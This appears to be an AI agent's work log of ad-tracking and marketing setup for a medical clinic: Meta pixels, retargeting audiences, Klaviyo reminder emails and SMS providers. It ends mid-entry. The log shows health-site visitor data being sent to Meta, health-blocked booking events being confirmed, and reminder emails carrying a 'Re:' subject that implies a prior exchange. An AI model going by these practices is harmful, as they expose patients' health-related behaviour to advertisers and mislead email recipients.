/api/checkout/slots, event type 2 (15 min, host America/Los_Angeles), 35 days ahead: Mon–Thu only, 8:00–9:45am PT, eight slots a day. 20 days and 159 open times; earliest Mon Oct 5 8:00am (Mon 8:30 booked). Visitors on a Friday (Oct 2) or a weekend can't get a call before Monday morning. East Coast sees 11:00am– 12:45pm, mid-workday. Likely why 0 of 11 picked a time on Fri Oct 2; the calendar is Dr. Dasari's call. **Time zones correct:** the API returns the same moments for every zone, and the page rendered in LA / Denver / Chicago / New York / London (desktop + iPhone, Playwrighttimezone_id) shows local times (8:00 PT = 9:00 MT = 10:00 CT = 11:00 ET = 4:00pm London) with "Times shown in your time zone · <city>". The page loads once per visit (the second main-frame navigation is a history update, not a reload). Still open: Mon Oct 5 9:30 is offered on the checkout, though Calendly had it booked on Sep 30 (the checkout can't see Calendly). - 2026-10-04 22:17 — VALUE BIDDING LIVE (David: "out of the gate launch the maximize conversion with the different value amounts"). All 9 search campaigns moved from Maximize Conversions ($65 target) to **Maximize conversion value, no ROAS target**, on custom goal "Funnel value (click · time · booking)"
customers/4084278533/customConversionGoals/6459343520: Discovery Call Button Click $1.40 · Discovery — Date & Time Selected $9 · Discovery Call Booked ($50) $50. Values are provisional, from Sep 30–Oct 4 data: 2 of 11 time-pickers paid, 2 of 73 checkout visitors paid. No ROAS target, because the three events had $0 value history (193 booking clicks and 22 time picks in 30 days, all at $0), so a target would have risked throttling delivery as in August. The cap comes after a week of real values. Google validated every change first; all 9 read back OK. Undo: `python3 clients/mgi/tracking/value_bidding.py revert --snapshot clients/mgi/tracking/value-bidding/snapshot-20261004-2217.json --execute` (back to Max Conversions at $65). Tool changes:plan --click-value/--time-value/--launch-now,apply --target-roas, newretune(values or ROAS target on the switched campaigns; a 4% target validated OK), andpartialFailureremoved (customConversionGoals:mutate rejects it). Tasks:mgi-tcpa-step-downRETIRED.mgi-value-bidding-switchis now the week-one review, Mon 2026-10-12 10:00: re-price and propose a ROAS cap (start near realized, about 20% a week toward the $22 equivalent; David's go for each). Delivery checksmgi-value-bidding-watch-am/-pmrun 2026-10-05 10:00 / 17:30, read-only, and ping David with the undo if a campaign stops. In the Ads UI, "Conversions" now counts all three goal events; read the MGI Funnel columns instead. - 2026-10-05 14:45 — All MGI routines stopped (David: "stop the routine for checking mgi account"). The delivery checks, the week-one review (
mgi-value-bidding-switch) and the PM check had already been removed from the scheduler. The AM check had started 3 times (10:00, 13:33, 14:40 PT) and each run hung about 5 seconds in, likely on a permission prompt. All 3 sessions were stopped.mgi-tcpa-step-downstays disabled. So nothing is scheduled: no delivery check has run since the 2026-10-04 switch, and the provisional values ($1.40 / $9 / $50, no ROAS cap) stay as they are until David asks for the review. The Google token had expired again by 14:42, so no one-off check was run. - 2026-10-05 — Meta playbook kickoff: state of the Meta stack (David: "start doing facebook retargeting and building landing pages and quizzes and running ads on Meta"). (1) **Our adscaler system user CANNOT read or launch in
act_1777184009460625**: Graph returns "(#200) Ad account owner has NOT grant ads_management or ads_read", so the 2026-08-06 assignment never took or was revoked. MGI's BM346005566680842must share the account with our business (or ads run from an account we own). (2) Dataset "MGI 2.0"1105072425284871is healthy: last fired 2026-10-04 23:53 UTC, owned by AMV LLC113824746806442(our BM), first-party cookies on. (3) The **banned pixel1289579869100647still fires** on book.mgiclinic.com (cal-checkoutapp/Analytics.tsxdefault list1105072425284871,1289579869100647; OUR code, a one-line fix plus a Railway deploy) and on www via GTM-N2GDXJ8 (Custom HTML tag "MGI Clinic - Facebook Pixel"; we're read-only, so David pauses it or grants Publish). (4) **Condition data reaches Meta through URLs.** The checkout's?c=crohnssits in the page URL the pixel reports, and the WordPress pages carry condition names in their paths (/crohns-disease/, /lupus/…), the likely root of the August ban. The checkout's Meta events themselves carry no condition (ViewContent, CheckoutSlotSelected, InitiateCheckout, AddPaymentInfo, CheckoutBookingCreated, CheckoutPaid, CheckoutError; params value/currency/content_name=event slug). (5) No Angle Studio bank for MGI yet (CL-20: no angle ID, no draft). MGI is not intools/brand-hub/brands.json. (6) Existing WP funnel pages answer: /quiz/, /silent-sufferer/, /dire-need/, /blue-zone/ (Cloudflare blocks curl; read them in a browser). - 2026-10-05 — The two Meta pixels compared (Graph API, field by field; a multi-field read of the old one returned "Missing perms"). Both read
is_restricted_use: false,is_unavailable: false,advertising_and_analytics, and fired 2026-10-04 23:53 UTC from the same pages. 7 days: old1289579869100647"MGI Clinic Pixel" (created 2024-02-21, owned by Dr. Dasari's BM346005566680842, shared to AMV LLC) PageView 1,570 · ViewContent 120 · InitiateCheckout 14 · AddPaymentInfo 4 · WebsiteClicktoCall 3, automatic advanced matching ON (em, ph, fn, ln, db, ge, ct, st, zp, country, external_id), so it can read email/phone off the booking form. New1105072425284871"MGI 2.0" (created 2026-08-29, owned by AMV LLC, not shared) PageView 3,783 · ViewContent 121 · InitiateCheckout 14 · AddPaymentInfo 4, automatic matching OFF. The API does NOT show the old one as banned. The August "banned" call needs checking in Events Manager (Diagnostics + Settings → data source categories). Meta's health rules apply per website, so neither pixel gets more events. Risk on the new one: Meta prohibits a new pixel made to get around enforcement. - 2026-10-05 16:06 — What the pixels receive right now (Graph
/{pixel}/stats; David: "see which events are receiving data"). Last 24h, latest hour 15:00 PT: OLD PageView 272 · ViewContent 27 · InitiateCheckout 4 · AddPaymentInfo 3 (browser only; www 240 / book 65). NEW PageView 597 · ViewContent 27 · InitiateCheckout 4 · AddPaymentInfo 1 (browser 317 + server/CAPI 310 from the WP plugin; www 554 / book 63). Bothnot_has_pii, match keys cookies only, so the old pixel's automatic matching captured NO email/phone. **30 days, both pixels: only PageView, ViewContent, InitiateCheckout, AddPaymentInfo (+ WebsiteClicktoCall 7 on the old, Search 2 on the new). ZERO CheckoutSlotSelected / CheckoutBookingCreated / CheckoutPaid / Purchase / Lead**, though GA4 has slot picks and paid bookings and Stripe a $50 booking 2026-10-05 16:04. The checkout sends custom and standard events from the sametrack()call, and the standard ones arrive, so Meta drops the custom events and Purchase on mgiclinic.com: the health restriction's signature. The same report lists custom events + Purchase normally on HumanFrame and Charm. Same picture on both pixels, so neither is "less restricted". The deepest events Meta still accepts are ViewContent (booking page opened, ~188/month) → InitiateCheckout (~31) → AddPaymentInfo (~13). Whether they can be OPTIMIZED for is shown in Ads Manager once we have account access. - 2026-10-05 — Events Manager, both pixels (read in David's Chrome, nothing changed). Both show "Data sharing restrictions applied". mgiclinic.com is categorized Health & wellness – other + provider + condition on BOTH, with Meta's identical text: "Data sharing may be blocked when visitors are in the European Region. In other locations, certain standard events may be blocked and your data source may be in a core setup." The second domain carries the same restriction on each pixel (old: mgi-clinic.webflow.io, H&W other + provider; new: mind-gut-immunity.com, H&W provider + condition). Core setup ON on both; dataset category "None" on both; nobody has requested a review. The restriction attaches to the WEBSITE, so neither pixel is more restricted. Differences: OLD (created by Darren Thomas 2024-02-20, owner Dr. Dasari's BM) is shared with ad account MGI Clinic
1777184009460625and AMV LLC, has an allow list (mgiclinic.com + 6 webflow.io, 2024-05-20) and automatic matching ON (all fields). NEW (created by David 2026-08-29, owner AMV LLC) is shared with NO ad account, has no allow list (stray events from translate.goog, google.com, aocr.org, railway), automatic matching OFF, and a Conversions API feed from the WP plugin (PageView EMQ 6.1/10). "Manage event blocking → Review" sits behind Meta's "I acknowledge" terms gate; not clicked without David's OK. - 2026-10-05 — DECISION (David): keep the OLD pixel "MGI Clinic Pixel"
1289579869100647, retire "MGI 2.0". Done: booking page loads only the old pixel, MGI 2.0 filtered out even if an env var lists it,autoConfigoff before init (cal-checkout81ad95c8ca). OPEN, all David's: (1) switch off Automatic website matching on the old pixel (Events Manager → Settings). My click was blocked by Claude's account-change guard. (2) **Runclients/mgi/tracking/wp_capi_to_clinic_pixel.sh** and paste the Conversions API token at its hidden prompt; it repoints the WP plugin's browser + server feed from MGI 2.0 to the old pixel and flushes WP Engine caches. I don't enter tokens. David pasted one in chat 2026-10-05, so treat it as exposed and generate a fresh one for the script if convenient. (3) Pause the GTM-N2GDXJ8 tag "MGI Clinic - Facebook Pixel", or the old pixel double-counts browser page views once the plugin also fires it. VERIFIED LIVE 16:58 PT (Railway success): booking-page HTML carries only1289579869100647+autoConfig',false; real Chrome initialises one pixel, and Meta requests go only to it (PageView, ViewContent). 17:10 PT: David ranwp_capi_to_clinic_pixel.sh(token at the hidden prompt, 205 chars). The WP plugin option now readsfacebook_pixel_id 1289579869100647. Caches flushed. Live /fix-ibd-naturally/ in real Chrome starts ONE pixel (1289579869100647) and sends one PageView, so MGI 2.0 is off the site and the booking page. The old pixel's first SERVER (CAPI) events should land in Meta's stats in the 17:00 hour; not yet visible at 17:13. Still OPEN (David): automatic matching off; pause the GTM-N2GDXJ8 pixel tag; rotate the token he pasted in chat. David 2026-10-05: automatic matching STAYS ON (his call; it can hash email/phone typed on the booking page, against the earlier no-email/phone-to-Meta rule; Meta had received none as of 2026-10-05). GTM-N2GDXJ8 tag NOT paused: a live load shows both containers but ONE PageView, from the WP plugin (a=wordpress-7.0.5-4.1.4, with event ID, so it dedups with CAPI). The GTM tag's ownfbq("init")logs "[Meta Pixel] - Duplicate Pixel ID" and its PageView is dropped. That container still sendsWebsiteClicktoCallandForm Submission, so keep it. Token rotation: David, later. - 2026-10-06 16:53 — Old pixel, 24h after the switch (Graph stats, Mon 17:00 → Tue 16:53 vs the 24h before). MGI Clinic Pixel: BROWSER 367 + SERVER 357 (before: browser 313, server 0). PageView 707 (server copies included; Meta pairs them by event ID), ViewContent 29 (26), InitiateCheckout 4 (4), AddPaymentInfo 1 (7), WebsiteClicktoCall 2. The server events carry
external_id(363, the WP plugin's anonymous visitor ID), so Meta counts 357 events ashas_pii. Match keys show NO em/ph/fn/ln: automatic matching has captured no form data. MGI 2.0 is effectively retired: 4 stray events in 24h (2 browser + 2 server). - 2026-10-07 — Meta retargeting audiences: PROPOSED plan, awaiting David (David: "figure out some retargeting audiences based on the entirety of the data"). Pools (old pixel, last ~4 weeks; Meta's stats keep about 28 days): PageView 8,870 · booking page opened 239 · reached payment 35 · pressed pay 19 · phone click 9. Audiences (neutral names, no URL rules, no uploaded lists): - B "Looked at booking": ViewContent 180d minus pressed pay, about 1,000 people as it fills. - C "Engaged with Dr. Dasari": 50%+ video viewers + FB/IG engagers, 365d; grows as his videos run on FB/IG. - D "Visited the site": all visitors 180d minus B. - X exclusion "pressed pay" 180d, the proxy for "already booked", since bookings never reach Meta. - Hot tiers (reached payment, ~35/mo) are too small alone, so they fold into B. Off Meta: bookers/patients/Klaviyo/Kajabi lists (health-based customer lists are barred) → email; YouTube engagers (Dr. Dasari's historic best audience) → Google only; depth tiers (scroll/time/quiz) need custom events, which are blocked on mgiclinic.com (possible unlock via Meta's event-blocking review, behind "I acknowledge"). Launch shape (house rule): per page one $15/day retarget ad set, optimized for landing page views (or booking page opened if Meta allows). Bookings counted by AD### + tier in our records. Blocked on ad account access.
- 2026-10-07 — Meta retargeting audiences CREATED (David: "now has access so lets setup the audiences"). The adscaler system user now reads
act_1777184009460625(active, USD, Pacific). Website custom audience terms accepted. Promotable Page: Mind-Gut-Immunity Clinic238118679393069, Instagram @mgiclinic17841416438351152(the "Dasari MD" page is not promotable from this account). Pixel1289579869100647linked. Via adscaler/api/audiences(deployed): X120248234581660539"MGI | Pressed pay | 180d (exclusion)" · B120248234581690539"MGI | Booking page opened | 180d (not paid)" (ViewContent − AddPaymentInfo) · D120248234581710539"MGI | Site visitors | 180d (not booking page)" (PageView − ViewContent). Via a direct Graph call with the same token (adscaler's route has no engagement mode, and redeploying adscaler from /dev carries the 2026-09-22 build trap): C1120248234582220539"MGI | Facebook Page engagers | 365d" · C2120248234582280539"MGI | Instagram engagers | 365d". All five at operation 441 (filling) on 2026-10-07; website ones "ready for use", engagement ones "too small" until filled. IDs + rules:clients/mgi/tracking/meta-audiences.json. Next: video viewer audiences once Dr. Dasari's videos run. - 2026-10-07 — Abandon Carts audience CREATED (David: "more importantly make a retargeting audience for them called Abandon Carts").
120248237193720539"MGI | Abandon Carts | 180d" = InitiateCheckout − AddPaymentInfo, 180d, via adscaler. InitiateCheckout fires once a time is picked AND a name AND a valid email are typed (no button press), so this is "gave us their details, never pressed pay": the hottest tier, ~35 people a month. - 2026-10-07 — Meta event review read (David said yes to "I acknowledge"; clicked in Events Manager → Settings → Manage event blocking → Review). Action required (4), all "Blocked by Meta", inactive: CheckoutSlotSelected, CheckoutBookingCreated, CheckoutPaid, CheckoutError. Blocked (1): Schedule. Confirmed by you (3): __missing_event, Form Submission, WebsiteClicktoCall. So a custom event DOES flow once someone confirms it in this review; that is why the phone clicks arrive. Nothing was confirmed by us. OPEN (David): confirm or leave blocked the four checkout events. Confirming CheckoutPaid / CheckoutBookingCreated would put real bookings into Meta (a true "booked" exclusion, possible optimization), but booking events from a health provider are what Meta blocks on purpose: recommendation = leave blocked or ask counsel; CheckoutError has no use either way. Read-depth events (scroll, time, quiz) can be unlocked the same way once the story pages send them.
- 2026-10-07 — "Played the video" audience (David: "make an audience based on people who played the youtube video"; "ideally I would put them in the warm, right?"). The video ("How to join my clinic", a YouTube embed) sits ON the booking page, so everyone who plays it already opened the booking page: they are a slice of B (hot), not warm. The booking page now sends a play to Meta as the custom event VideoPlay (cal-checkout
252a148d6d, once per page view). Audience120248237244440539"MGI | Played the video | 180d (not paid)" = VideoPlay − AddPaymentInfo, 180d. It fills only after VideoPlay is confirmed in the event review (shows as "Action required" once the first play lands; confirming is David's click). If he meant Dr. Dasari's YouTube CHANNEL viewers: that list lives in Google Ads (link the channel → YouTube-users segment), never on Meta; checking the account's existing lists needs a fresh Google login (token expired 2026-10-07 21:25). - 2026-10-07 — Abandoned-booking email: David YES ("1. yes, please"). Shape: when someone reaches the payment step (time + name + valid email), the booking page posts once to a server route → Klaviyo profile + "Started Booking" event (event slug, chosen time, a link back to the booking page; NO condition, never the
?c=value). A Klaviyo flow on that event, exiting when the booking event arrives (syncBooker'sKLAVIYO_EVENT_NAME). David reviews before anything sends: the emails (selling voice; Dr. Dasari's bans hold: never cure/fix/heal/reverse) and a one-line notice under the email field. - 2026-10-07 21:30 — VideoPlay LIVE on book.mgiclinic.com: Railway "Success" for cal-checkout
252a148d6d, and the live page's script chunk containsVideoPlay. It reaches Meta from the first real play; then it shows under Events Manager → MGI Clinic Pixel → Settings → Data restrictions → Manage event blocking → Review → "Action required", where it needs a confirm before "Played the video" fills. - 2026-10-07 — The four held checkout events, explained to David (he asked "what are they, why do we need them blocked?"). From
CheckoutView.tsx: CheckoutSlotSelected = clicked a time; CheckoutBookingCreated = pressed pay and the booking record exists (before the card clears); CheckoutPaid = the $50 cleared, a real booked call (custom on purpose, so the thank-you page's own event is not double-counted); CheckoutError = payment or booking failed. Meta held them automatically (health-category site; custom events wait for a confirm), not us. With conditions now allowed (§6), nothing on our side needs them held: worth confirming = CheckoutPaid (a true "booked" exclusion + a countable booking) and CheckoutSlotSelected (mid-funnel volume); BookingCreated is near-duplicate; CheckoutError is useless. The fifth, Schedule, is GTM-NBQBWTR8 tag 42 on the thank-you page, a STANDARD event Meta blocks outright (Blocked tab, not confirmable). Where to confirm: Settings → Manage event blocking → Review → "I acknowledge" (Meta asks on every visit) → Action required. Left open in David's Chrome at the acknowledgement. David CONFIRMED all four himself, 2026-10-07 ~21:36 (his screenshot: CheckoutPaid, CheckoutBookingCreated, CheckoutError, CheckoutSlotSelected = "Confirmed by you", all Inactive until the next booking-page activity; plus the earlier __missing_event, Form Submission, WebsiteClicktoCall). VideoPlay joins the list after its first play and needs the same confirm. - 2026-10-07 — Dr. Dasari's YouTube viewers are already in Google Ads (read-only check after David's re-login): "YT — Liked any video (540d)" ~580, "YT — Subscribers (540d)" ~400, "YT — Visited channel (540d)" ~320, "YT — Viewed any video (540d)" ~8 (did not backfill; the older "MGI YouTube Video Viewers 365days"
8606111362holds ~450 and is attached nowhere), plus the site lists. All four YT lists sit on all 9 live search campaigns in observation (bidOnly: true): they do not narrow reach; smart bidding sees them. Nothing shows ads TO them on YouTube: the Display retargeting campaign24158743815and PMax24164407844are paused. Meta cannot see YouTube viewers. Options (each a Google Ads change, needs David's go): attach8606111362in observation; a YouTube/Demand Gen retarget campaign on these lists (needs video ads). Dr. Dasari's own brief (2026-07-27) backs the value: retargeting "individuals that have interacted with my YouTube videos- very very high close rates…. Very very low lead costs." David asked what "observation" means (2026-10-07); answer pending his go. - 2026-10-07 21:42 — Meta custom conversion "MGI | Booked call ($50)"
1089071967213965(David: "1. Yes") via adscaler/api/custom-conversions: CheckoutPaid AND url contains mgiclinic.com. Meta refused an event-only rule ("A conversion rule is required at creation time", subcode 1760020): it wants a second condition, like the clinic's two 2024 conversions (Website Click to Call952937023008355, Form Submission816761910278366). Read back available. Shows bookings per Meta ad in Ads Manager once CheckoutPaid fires. - 2026-10-07 21:50 — Abandoned-booking emails DRAFTED for David (his "3. Yes, let me know where"): review page
clients/mgi/hub/abandoned-booking/on a DRAFT deploy (production hub unchanged): https://6ac746f70119f89bb65feabf--mgi-clinic-launch-board.netlify.app/abandoned-booking/ (casual Dr. Dasari version, sender Support@, subject "Re: your scheduled call", LIVE) . E1 (+1h) "Your call with Dr. Dasari isn't booked yet" / alt "Still want Dr. Dasari to review your case?"; E2 (+1d) "Dr. Dasari was 19 when his symptoms started" / alt "When a former IBD patient becomes a gut surgeon"; notice line under Email "Your confirmation goes here, or a link to finish if you get interrupted." (plain alt names "two short reminders"). Team voice ABOUT Dr. Dasari (CL-14), plain text in the clinic's email style, sender "Chanu Dasari M.D & The MGI Team" join@mgiclinic.com. Copy-chief record:clients/mgi/COPYCHIEF-r4-abandoned-booking.md(E1 8, E2 8.5, line 8; cap = no true scarcity). Klaviyo design: NEW list "Started booking, not paid" (neverU8pS4f, which triggers the EVERYONE + NON BUYER flows); list-triggered flow like every flow in the account; each email filtered ondiscovery_call_booked_at(not set OR ≥ 3 days ago). MGI's stored key reads accounts/lists/metrics/events/flows/templates; the account has no abandoned-booking flow today ("Calendly NON BUYER Followup Flow"Tnq45k= bookers who didn't buy the program, +14 days). Open: David's 4 picks on the page, then Dr. Dasari's pass on his story. - 2026-10-07 — Does the booking-page video hurt conversion? (David: "monitor whether the video on the booking page should move to above the 'FROM PATIENTS' reviews, because i believe it is hurting conversion rate, but i am not sure how to prove it"). Layout today (
CheckoutView.tsx): Hero = H1 + sub + video (order-1, phones: above the time picker); form order-2; badges order-3; "From patients" order-4. GA4 funnel since 2026-09-17 (v1alpha runFunnelReport, open funnel, segments bycheckout_video_start): **phones, played the video 23 → picked a time 5 → typed name+email 3 → pressed pay 0 → paid 0; phones, didn't play 87 → 16 → 11 → 6 → 4.** Desktop: played 4 → 2 → 1 → 1 → 1; didn't play 37 → 5 → 2 → 2 → 2. Hint only: with no effect at all, 23 people show zero bookings about 1 time in 3, and players self-select. Separate finding: phones lose most at payment (14 typed details, 6 pressed pay). Proof = a 50/50 split (A today, B video just above "From patients"), sticky per visitor, variant on every GA4 funnel event + on the booking record; read on "picked a time" and "typed details" (paid as a guardrail). ~170 booking-page visitors a week → about 4–6 weeks. PROPOSED, awaiting David's go. - 2026-10-07 22:13 — Video move LIVE (cal-checkout
4bd302fb7f, Railway "Success"). Verified on the live page: phone (375px) order = headline (y 24) → Pick a time (y 224, all eight of the first day's times on the first screen) → badges (1365) → video (1478) → From patients (1702), no sideways scroll; desktop (1024px) unchanged: headline, sub, video, badges, reviews in column one, the form in column two. Before/after cut = Oct 8 (readout script defaults). - 2026-10-07 22:30 — Abandoned-booking reminders BUILT (David: "1. he approved. 2. yes 3. yes!" = Dr. Dasari approved both emails; the line under Email; the reopen-your-time change). **Klaviyo (MGI
VqpLhz, via the stored key, API revision 2025-04-15):** listUsHZrs"Started booking, not paid"; templatesXH4K4Q(E1) /RGL3UL(E2), CODE editor, plain-text look, footer = organization name + address + unsubscribe (text part uses{% unsubscribe_link %};{% unsubscribe_url %}does not render); flowTTvH6q"Abandoned booking · Dr. Dasari check-in (book.mgiclinic.com)": trigger listUsHZrs; flow filter NOT inU8pS4f(bookers; syncBooker adds every paid booking) AND NOT inRMkWEu(program buyers), re-checked before each email; wait 1h → E1 → wait 23h → E2; both from "Chanu Dasari M.D" <Support@mgiclinic.com>, subject "Re: your scheduled call", smart sending off, tracking params OFF (the booking page lets URL tags override the ad'smgi_attrfirst touch, so the email must not steal credit). Flow messages carry their own template copies (WRkruK,WejnS8). Created as DRAFT. Render check: "hey jennifer" + the ?t= link with a name; "hey there" + the plain booking link without. cal-checkout38a9e603a3:/api/checkout/started(same-origin, 6 per visitor per 10 min, slot must be ahead, ≤ 60 days) →syncStarter(profile +booking_started_at/_slot/_time_local/_resume_url, listUsHZrs; never phone or condition); page posts 2.5s after the details are complete, once per address + time; line under Email "Your confirmation goes here, or a link to finish if you get interrupted.";?t=reopens the time (or its day) and fires GA4checkout_resumed. - 2026-10-07 22:39 — Abandoned-booking reminders LIVE. cal-checkout
38a9e603a3deployed 22:37 (Railway "Success"). Live tests:/api/checkout/startedanswers 403 for another origin, 400 for a past time, 400 for a path with a query (?c=), 204 for a valid post; the test profile (TEST5949 Check, test5949.abandoned-booking@example.com,01M4D09FP6Z9E0JC6P1BXQA5A6) landed onUsHZrswithbooking_started_time_local"Mon, Oct 12 at 11:30am EDT", the?t=resume link, no phone. Phone-size page:?t=<open time>arrives with "Pick a time ✓ Mon 12 Oct, 8:30am" and GA4checkout_resumedslot_still_open=true; a taken time lands on its day, slot_still_open=false; the line under Email shows,aria-describedbyset. FlowTTvH6qset LIVE 22:39 (both emails live). The test profile was taken off the list, then re-added through the live route at 22:39:14 so the live flow picks it up; its Email 1 attempt (example.com, undeliverable by design) is due ~23:39 and is read back from Klaviyo events. Review page (draft, marked live): https://6ac746f70119f89bb65feabf--mgi-clinic-launch-board.netlify.app/abandoned-booking/ . - 2026-10-08 00:15 — Reminders now start on a Klaviyo EVENT, not the list (David: "just switch it to the event trigger now"). Why: the list-triggered flow
TTvH6qsent nothing in 70 min; Klaviyo lets each person through a list flow once and community reports say API list adds may not start it; my first test profile had been on the list while the flow was draft, so it proved nothing. Now: metric "Started Booking"THGVP4(API) → flowR7zJSZ"Abandoned booking · Dr. Dasari check-in (Started Booking)", LIVE, same emails/timing/sender/filters (wait 1h → E1, +23h → E2; skipU8pS4fbookers,RMkWEubuyers; tracking params off).TTvH6qset back to DRAFT (the API refused a rename). cal-checkout4d3983bac2: syncStarter = profile-import → listUsHZrs(kept as a record) → event, withunique_id= email + ISO week (one run per address per week; a later visit only moves the profile's time + link). The stored key can write events (202). - 2026-10-08 00:15 — Captions removed from the booking form (David: "remove that sms caption and 'Your confirmation goes here, or a link to finish if you get interrupted.'"): the line under Email and the SMS consent + "SMS terms & privacy" link under Phone are gone (cal-checkout
4d3983bac2; /sms-terms page itself still exists). - 2026-10-08 00:10 — FOUND: the booking texts' 10DLC campaign was REJECTED (Twilio Usa2p on Messaging Service
MGb4af495a791a207db5ee88dbae4c4478: campaignQE2c6890da8086d771620e9b13fadeba0b, LOW_VOLUME, status FAILED, error 30882 "rejected due to Terms and Conditions issues", field MESSAGE_FLOW). So since 2026-09-28 every booking text has failed at the carrier (30034) with SMS_MODE=live; no confirmation or reminder text has reached a patient. The message flow on file quotes the consent line that is now removed, so re-registering needs a consent line back on the form. OPEN (David): re-register the texts or switch SMS_MODE off. - 2026-10-08 01:20 — Sendblue texting BUILT (cal-checkout
d54e33d161; review page draft https://6ac74acf2db9df1f530643a6--mgi-clinic-launch-board.netlify.app/booking-texts/). Account (David's Chrome, read-only): Dr. Dasari = Admin, David = Member; ONE line +1 (645) 206-7656, new-contact caps "do not apply"; Usage shows a daily limit 0/10 + "Increase limit", and "Allow Inbound First" is "always enabled on the Free Tier plan" → likely FREE tier: patients must text first, so outbound booking texts need the outbound plan (Blue Ocean). Sendblue rules (docs.sendblue.com): basehttps://api.sendblue.com, headerssb-api-key-id+sb-api-secret-key,POST /api/send-message {number, from_number, content}; NO scheduled sends; before the first reply: no links, phone numbers or emails, ≤ 300 chars, ≤ 6 texts, onepre_reply_overrideper contact per line per day (4007/4008/ 4009 declines, 4010 override used up); built-in STOP; receive webhook (Developer → Webhooks) withnumber= patient,sendblue_number= our line; signing header undocumented. Design: every text has full + plain forms (imessageText); the plain confirmation asks "Reply YES"; any reply → "details" text (number he calls from + reschedule link) once per booking via/api/sms/sendblue; sender order = full → full + override (not for the confirmation) → plain; reminders wait in BookingSmsState (sb-due-…) andlib/sms/due.tssends them (CAS claim, 2h grace) every minute frominstrumentation.ts, or on demandPOST /api/sms/due(authorised with theSMS_WEBHOOK_SECRETenv var as the bearer token). Provider default = sendblue (SMS_PROVIDER=twilioreverts). 27/27 local checks pass (lengths, no link/number in plain forms, fallback order). OPEN before go-live: (1) David approves the texts; (2) the Sendblue outbound plan (Dr. Dasari, Admin); (3) David putsSENDBLUE_API_KEY_ID+SENDBLUE_API_SECRET_KEYinto Railway; (4) receive webhook → https://book.mgiclinic.com/api/sms/sendblue . SMS_MODE stays live; with no keys nothing sends. - 2026-10-08 01:00 — Sendblue code LIVE (Railway "Success" for
d54e33d161). Checked: booking page 200; reply webhook ignores other lines and answers "texts are not live on Sendblue" for ours;/api/sms/due401 without the bearer, "Sendblue keys are not set" with it; status endpoint = mode live, provider sendblue. David is buying Sendblue ENTERPRISE ($177/month, outbound without an inbound first). To confirm with Sendblue: cold outbound on this line; whether enterprise lifts the pre-reply rules; a HIPAA BAA (their docs: dedicated instance); whether the line stays (645) 206-7656. - 2026-10-08 02:15 → CORRECTED 02:40: the API-built flows DID fire. I wrongly concluded at 02:15 that flows built through Klaviyo's API never fire. Klaviyo's message report (Recipient activity → Skipped) shows every test send SKIPPED as "Invalid Email Address": Klaviyo treats the throwaway test inboxes (mailinator.com, example.com) as invalid, and a skipped send leaves no Received Email event and no "recipients" in the flow report.
R7zJSZEmail 1: Skipped 1 (the 00:42 test) + Waiting 1 (the 01:59 test, due 02:59); TESTVU2Qs7: Skipped 2, both "Invalid Email Address". So trigger, filter and wait all work.R7zJSZis LIVE again (re-enabled 02:38 in Klaviyo's editor with "Review and turn on", after David logged in; both emails On). Test flowsVU2Qs7,WLe9Y4and the old list flowTTvH6q= draft. A real delivery check needs a real inbox (David's own test on the booking page). - 2026-10-08 03:00 — Twilio is the default again (cal-checkout
2bbb360c89); the booking-texts hub page is restored to its Twilio version (source fromf2121341b; production was never changed). Why the 10DLC campaign was rejected (30882): the registration'sterms_and_conditions_urlandprivacy_policy_urlfields were EMPTY (the terms link was only quoted inside the message flow); Twilio: a TermsAndConditionsUrl "is required for all new A2P 10DLC campaign submissions", public, brand-relevant, with direct campaign-specific consent and no sharing of opt-in data. Fix = resubmit campaignQE2c6890da8086d771620e9b13fadeba0bwith terms + privacy URL = https://book.mgiclinic.com/sms-terms, AND the consent line back under Phone (the message flow describes it; David removed it 2026-10-08), ~$15 vetting, 1–3 weeks. Until then every text fails at the carrier (30034). OPEN (David): resubmit with the consent line back, or texts off. - 2026-10-08 13:30 — "Anything we should know" missing from the calendar invite: FIXED (David: "The 'Anything we should know' section isn't added to the invite on the calendar"). Read-only check (
GET /api/sms/booking-events?notes=recent, lengths only, cal-checkout54a9e89f6a): the answers ARE saved (Oct 5 booking 208 chars, Oct 1 703, in responses and booking.description); hideCalendarNotes/hideCalendarEventDetails off; the calendar is Apple Calendar (every booking's reference = apple_calendar). Bug: the after-payment event (packages/features/bookings/lib/payment/getBooking.ts, used by handlePaymentSuccess + the awaiting-payment email) setdescription = booking.descriptionand NOadditionalNotes; free bookings (CalendarEventBuilder) use the event type's description + the booking's description as additionalNotes. Fix cal-checkoute0738c67a4(LIVE 13:34, booking page 200) maps them the same way, so new paid bookings' invites and emails carry "Additional notes". Existing invites do not change; the answers are in each booking in cal.diy. - 2026-10-08 21:50 — "Someone tried to pay but it wouldn't book" + Clarity on the booking page (David: "is there a way to understand what people do on this page and what happens, maybe clarity?"). Stripe (live key, read-only, 6 days): ZERO payment_failed events; every booking-page $50 (cal.diy metadata) succeeded (Oct 5 16:04, Oct 6 08:54 Apple Pay); the two stuck $50 intents (requires_payment_method, Oct 3 10:56 + Oct 6 14:20 PT) are Calendly "Lupus Discovery Call", one of the six condition calls still taking payment on Calendly. The Stripe account is shared ($180/$160 charges are other products). On the booking page, pay →
elements.submit()(card check) → createBooking → PaymentIntent → confirm, so a failure with no intent stopped at the card check or the booking step; the page tracks it as GA4checkout_error(error_message param; needs a Google re-login to read). Clarity added (cal-checkout65f21ed85a, live 21:47): the clinic's existing project dft5ifornz (same as www.mgiclinic.com); every funnel step = a Clarity smart event; pay pressed or an error =clarity("upgrade"); the error text = tagcheckout_error; the details step (name/email/phone/ notes) isdata-clarity-mask; Stripe card fields are in Stripe's frame (never recorded). Verified live: tag + clarity.js load, 4 collect calls, _clck/_clsk cookies, email field inside the masked block, MO guard = first inline script in <head>. Trade-off: the guard drops document-wide ATTRIBUTE observers (iOS crash protection), so Clarity replays miss pure class/style changes (e.g. the selected-time highlight); clicks, scrolls, typing (masked), new nodes and errors show. - 2026-10-09 08:40 — ⚠ OPEN: every pay press since Oct 6 failed — 3 of 3, three different people, none booked. Meta pixel by hour (PT) lined up with Klaviyo "Started Booking" (reached the payment step with a valid email): Oct 8 10:00 (start 10:12, hotmail), Oct 9 01:00 (start 01:36, gmail), Oct 9 03:00 (starts 03:18 + 03:29, gmail; one pressed pay) — each hour = 1 AddPaymentInfo (pay pressed) + 1 CheckoutError, and nobody pressed twice. No booking row was created (the newest booking is the paid one of Oct 6 08:54 PT) and no Stripe intent, so each stopped at the card check (
